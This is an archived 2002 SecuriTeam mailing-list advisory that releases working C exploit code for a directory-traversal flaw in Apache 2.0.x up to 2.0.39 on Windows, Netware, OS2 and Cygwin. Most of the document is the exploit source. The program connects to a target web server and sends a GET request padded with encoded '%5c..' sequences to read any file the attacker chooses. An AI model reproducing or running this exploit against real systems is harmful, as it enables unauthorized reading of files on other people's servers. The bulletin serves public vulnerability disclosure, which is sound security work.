

[EXPL] Exploit Code Release for Apache Directory Traversal (non-UNIX)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-08/0117.html>

From: support@securiteam.com

Date: 08/30/02

From: support@securiteam.com

To: list@securiteam.com

Date: Fri, 30 Aug 2002 11:39:50 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

Exploit Code Release for Apache Directory Traversal (non-UNIX)

SUMMARY

As we reported in our previous article:

<<http://www.securiteam.com/windowsntfocus/5ZP0C2A80Y.html>> Apache Web Server Directory Traversal and Path Disclosure Vulnerability (non-UNIX), Apache under non-UNIX system has been found to contain a vulnerability that would allow attackers to traverse to directories outside the bounding HTML root directory. This is proof of concept exploit for this issue.

DETAILS

Vulnerable systems:

- * Apache web server version 2.0.39 and previous 2.0.x (Windows/Netware/OS2)

Immune systems:

- * Apache web server (UNIX)
- * Apache web server version 2.0.40 (Windows/Netware/OS2)

Affected Systems:

- * Windows [win32]
- * Netware

Securiteam: [EXPL] Exploit Code Release for Apache Directory Traversal (non-UNIX)

- * OS2
- * Cygwin

Exploit:

```
/*  
* DSR-apache2.0x by bob@dtors.net  
* Exploit found by Auriemma Luigi.  
*  
* This is Proof on Concept exploit for  
* the current directory traversal design flaw  
* in apache 2.0.x – 2.0.39.  
*  
* Affected Systems:  
*  
* Windows [win32]  
* Netware  
* OS2  
* Cygwin  
*  
* This exploit allows the attacker to view ANY  
* file on the target machine if it is vulnerable  
* to this attack.  
*  
*/
```

```
#include <stdio.h>  
#include <unistd.h>  
#include <string.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <netdb.h>  
#define bs "%5c"  
char travcode[]=  
    "\x25\x35\x63\x25\x32\x65\x25\x32\x65"  
    "\x25\x35\x63\x25\x32\x65\x25\x32\x65"  
    "\x25\x35\x63\x25\x32\x65\x25\x32\x65"  
    "\x25\x35\x63\x25\x32\x65\x25\x32\x65"  
    "\x25\x35\x63\x25\x32\x65\x25\x32\x65"  
    "\x25\x35\x63";
```

```
void reply(int sock);
```

```
void reply(int sock)  
{
```

```
int n;  
char recvbuf[1024];  
fd_set rset;
```

```
while (1) {
```

Securiteam: [EXPL] Exploit Code Release for Apache Directory Traversal (non-UNIX)

```
FD_ZERO(&rset);
FD_SET(sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(sock+1,&rset,NULL,NULL,NULL);

if (FD_ISSET(sock,&rset)) {
    if((n=read(sock,recvbuf,1024)) <= 0) {
        printf("Connection closed by foreign ghost.\n");
        exit(0);
    }

    recvbuf[n]=0;
    printf("%s",recvbuf);
}

if (FD_ISSET(STDIN_FILENO,&rset)) {
    if((n=read(STDIN_FILENO,recvbuf,1024)) > 0) {
        recvbuf[n]=0;
        //write(sock,recvbuf,n);
    }
}
}

int main(int argc, char *argv[]) {

int sock;
char exp[1024];
struct in_addr addr;
struct sockaddr_in sin;
struct hostent *he;

fprintf(stdout, "\n\tDSR-apache2.0x.c By bob.\n");
fprintf(stdout, "Proof Of Concept Code for Apache 2.0.x 2.0.39\n");
fprintf(stdout, "\tDSR-[www.dtors.net]-DSR\n");

if(argc<4)
{
    fprintf(stderr, "\nUsage : %s <host> <dir> <file>\n\n", argv[0]);
    exit(1);
}

if ((he=gethostbyname(argv[1])) == NULL)
{
    fprintf(stderr, "Cumon! Gimme some socks to put on!\n\n");
    exit(1);
}
```

Securiteam: [EXPL] Exploit Code Release for Apache Directory Traversal (non-UNIX)

```
/* A fresh pair of clean socks ;) */

sock=socket(AF_INET, SOCK_STREAM, 0);
bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
sin.sin_family=AF_INET;
sin.sin_port=htons(80);

/* yummy fresh smelling */

fprintf(stdout, "Hold up bish connecting to host... \n");
if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
{
    fprintf(stderr, "My socks are all sweaty.\n");
    exit(1);
}

else {
/* im exhausted after that...gn */
sleep(3);

sprintf(exp, "GET /error/%s%s%s%s HTTP/1.1\r\nHost: %s\r\n\r\n",travcode,
argv[2], bs, argv[3], argv[1]);
write(sock,exp,strlen(exp));

fprintf(stdout, "This is not going to be pritty.\nIm a lion here me
ROAR!\n\n");
reply(sock);

close(sock);
exit (0);

}

}
```

ADDITIONAL INFORMATION

The information has been provided by <bob@dtors.net> bob.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

Securiteam: [EXPL] Exploit Code Release for Apache Directory Traversal (non-UNIX)

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- *Previous message:* support@securiteam.com: "[EXPL] Windows SMB Nuker"
- *Messages sorted by:* [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)